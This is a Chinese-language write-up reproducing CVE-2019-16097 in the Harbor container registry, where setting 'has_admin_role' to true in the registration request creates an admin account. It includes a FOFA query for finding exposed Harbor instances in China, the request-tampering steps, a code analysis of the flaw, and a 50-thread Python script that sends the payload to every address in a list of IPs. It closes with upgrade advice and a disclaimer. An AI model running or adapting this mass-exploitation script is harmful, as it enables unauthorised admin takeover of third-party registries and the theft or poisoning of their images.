CVE-2019-16097 || Harbor任意管理員註冊漏洞復現

目錄python

  • 0x01 前言git

  • 0x02 漏洞簡介及危害github

  • 0x03 漏洞復現web

  • 0x04 代碼分析數據庫

  • 0x05 批量腳本json

  • 0x06 修復建議api

  • 0x07 免責聲明安全


0x01 前言

Harbor是一個用於存儲和分發Docker鏡像的企業級Registry服務器,經過添加一些企業必需的功能特性,例如安全、標識和管理等,擴展了開源Docker Distribution。做爲一個企業級私有Registry服務器,Harbor提供了更好的性能和安全。提高用戶使用Registry構建和運行環境傳輸鏡像的效率。Harbor支持安裝在多個Registry節點的鏡像資源複製,鏡像所有保存在私有Registry中, 確保數據和知識產權在公司內部網絡中管控。另外,Harbor也提供了高級的安全特性,諸如用戶管理,訪問控制和活動審計等。服務器


0x02 漏洞簡介及危害

因註冊模塊對參數校驗不嚴格,可致使任意管理員註冊。網絡

文檔名稱 Harbor權限提高漏洞安全預警通告
關鍵字 Harbor、CVE-2019-16097
發佈日期 2019年09月19日
危及版本 Harbor 1.7.6以前版本 Harbor 1.8.3以前版本

Harbor 1.7.6以前版本和Harbor 1.8.3以前版本中的core/api/user.go文件存在安全漏洞。若開放註冊功能,攻擊者可利用該漏洞建立admin帳戶。註冊功能默認開放。攻擊者能夠以管理員身份下載私有項目並審計;能夠刪除或污染全部鏡像。

目前PoC已公開,建議受影響的客戶儘快升級。


0x03 漏洞復現

使用fofa語法搜索

title="Harbor" && country=CN


找到註冊頁面


點擊註冊抓包,改包,在最後數據包加上:

"has_admin_role":true


修改爲功,成功添加帳號密碼。並登錄成功!


0x04 代碼分析

聲明:代碼分析來着奇安信團隊,原文地址:【預警通告】Harbor權限提高漏洞安全預警通告

分析代碼的commit hash爲e7488e37b69319fa9dcbaab57499bec5c8aed08a,此commit中還沒有包含補丁。受影響的API請求地址是/api/users/,請求方式爲POST,所以從API的路由中找到入口點,位置在src/core/router.go50行:

在這裏插入圖片描述
能夠看到其將此POST請求路由到了api.UserAPI中,找到api.UserAPI的處理POST請求的位置在src/core/api/user.go的302行,跟進代碼,發現其前後判斷認證方式,是否開啓自行註冊(默認開啓)而後實例化了User結構體:
在這裏插入圖片描述
咱們先來看一下User結構體,位置在src/common/models/user.go 25行:
在這裏插入圖片描述
注意其中HasAdminRole字段對應的數據庫表現形式和JSON請求表現形式。其在數據庫中的字段表現形式爲sysadmin_flag,JSON表現形式爲has_admin_role

再繼續跟入,後面的過程依次是,反序列化請求JSON串爲User結構體,驗證用戶提交的User格式是否正確(用戶名規範和密碼規範)判斷用戶名和email字段是否已存在,而後直接調用數據庫訪問層的dao.Register()方法執行數據庫插入的操做:

在這裏插入圖片描述
跟入dao.Register()方法中,位置在src/common/dao/register.go26行,能夠看到其直接將User結構體的HasAdminRole字段插入到數據庫
在這裏插入圖片描述
在github上進行commitdiff(https://github.com/goharbor/harbor/pull/8917/commits/b6db8a8a106259ec9a2c48be8a380cb3b37cf517#diff-fb70049a82e5abd89a68c8e2cccba44c)對比,能夠看到這次提交對註冊用戶的請求進行了邏輯判斷,不容許非管理員用戶建立新的管理員用戶。
在這裏插入圖片描述


0x05 批量腳本

腳原本源於T9sec team

import requests
import json
import csv
from concurrent.futures import ThreadPoolExecutor

def exp(url):
    url = url + '/api/users'
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
        'Content-Type': 'application/json',
        }
    payload = {
        "username": "test1",
        "email": "test1@qq.com",
        "realname": "test1",
        "password": "Aa123456",
        "comment": "test1",
        "has_admin_role": True
        }
    payload = json.dumps(payload)
    try:
        requests.packages.urllib3.disable_warnings()
        r = requests.post(url, headers=headers, data=payload, timeout=2, verify=False)
        if r.status_code == 201:
            print(url)
    except Exception as e:
        pass

if __name__ == '__main__':
    data = open('ip.txt') # 批量IP
    reader = csv.reader(data)
    # 50是線程
    with ThreadPoolExecutor(50) as pool:
        for row in reader:
            if 'http' not in row[0]:
                url = 'http://' + row[0]
            else:
                url = row[0]
            pool.submit(exp, url)

0x06 修復建議

升級到1.7.6及以上版本或者1.8.3及以上版本

臨時緩解方案:

關閉容許自行註冊功能(Allow Self-Registration)


0x07 免責聲明

本文中提到的漏洞利用Poc和腳本僅供研究學習使用,請遵照《網絡安全法》等相關法律法規。

相關文章
相關標籤/搜索